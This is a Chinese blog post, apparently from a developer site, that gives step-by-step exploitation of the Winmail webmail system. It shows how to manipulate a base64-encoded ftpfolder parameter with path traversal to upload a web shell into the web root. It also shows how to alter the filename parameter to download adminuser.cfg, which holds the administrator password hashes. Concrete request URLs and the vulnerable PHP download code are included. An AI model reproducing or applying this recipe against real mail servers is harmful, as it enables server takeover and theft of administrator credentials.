邮箱 无法下载main.php,winmail过滤不严getshell+任意文件下载(需要登录邮箱)

winmail邮箱管理系统过滤不严,导致任意文件上传

需要以普通用户身份登录邮箱,登录以后有个网络磁盘功能,随意上传一个文件,选择文件上传!

上传url

http://xxx.xxx.xxx.xxx:6080/main.php?sessid=5772430e1cd708d2521d9a0dedadd904&act=netdisk&opt=html5upload&ftpfolder=Ly4uLy4uL3dlYm1haWwvd3d3Lw==&retid=0.8386508285207916

imgpxy.php?url=gpj.9970b46704db607fc68109c75e3cde99fe920529c2ff35c380132c2b837fe5d97a7c6c0506e1e85af105800635199c404503b89e64b49c42e7d460002c5c3c9420610ccdd32e94fe08df6bcd1a81088a37e38ccf4700970a34e208e46eadc51b%2Fpp%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

imgpxy.php?url=gpj.4a65208911c356201f4a8a2837713de34ff0e622ab5d4af9cc4a91bb41535149cfb9a7e2e0abf69a355bb2c3531033584503b89e64b49c42e7d460002c5c3c9420610ccdd32e94fe08df6bcd1a81088a37e38ccf4700970a34e208e46eadc51b%2Fpp%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

imgpxy.php?url=gpj.3b98a41b3f00722892e2ff53586e1533757d2ae136248db0ce0f0c592b67c0cbb6c048409eef18b060415faf6504101f4503b89e64b49c42e7d460002c5c3c9420610ccdd32e94fe08df6bcd1a81088a37e38ccf4700970a34e208e46eadc51b%2Fpp%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

burpsuit拦截,看到其中有个ftpfolder参数,base64编码的解码后为/,通过修改ftpfolder参数为/../../webmail/www/再base64编码。/对应的原来的目录为 server/netstore/test(用户目录).

imgpxy.php?url=gpj.c34f7ea91242ec645b2c471df638d18351a0fbb48857a8228623561102539899151ca49b645f2126724834d5837238274503b89e64b49c42e7d460002c5c3c9420610ccdd32e94fe08df6bcd1a81088a37e38ccf4700970a34e208e46eadc51b%2Fpp%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

getshell成功!

同样的下载文件时修改filename参数跳转到data/adminuser.cfg 可下载管理员用户密码,密码md5加密!

/main.php?sessid=6ca89212aceb7b4b6997d3b1b4b9eaf0&act=netdisk&opt=download&ftpfolder=Lw%3D%3D&filename=cGhwaW5mby5waHA%3D&retid=33938934

imgpxy.php?url=gpj.812d9014ff9c1c8a3bafa75e13924eb146709166c04b0c79681179c8aa1c420b194427521c5f179ebe44713fb34bb8bf4503b89e64b49c42e7d460002c5c3c9420610ccdd32e94fe08df6bcd1a81088a37e38ccf4700970a34e208e46eadc51b%2Fpp%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

对应的代码!code 区域case 'download':

$filename = base64_decode($filename);

$ftpfile = $ftpfolder;

if (substr($ftpfile, -1) != '/')

$ftpfile .= '/';

$ftpfile .= $filename;

header('Content-type: application/force-download');

header('Content-Disposition: attachment; filename="'.$filename.'"');

$localfile = $ftphandle->ftp_home_directory.$ftpfile;

//if(file_exists($localfile))

//die($localfile);

if (file_exists($localfile)) {

$length = filesize($localfile);

header('Accept-Ranges: bytes');

header('Content-Length: '.$length);

$fp = fopen($localfile, "rb");

if ($fp){

while(!feof($fp))

echo fread($fp, 655360);

fclose($fp);

}

}

都差不多不贴了!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值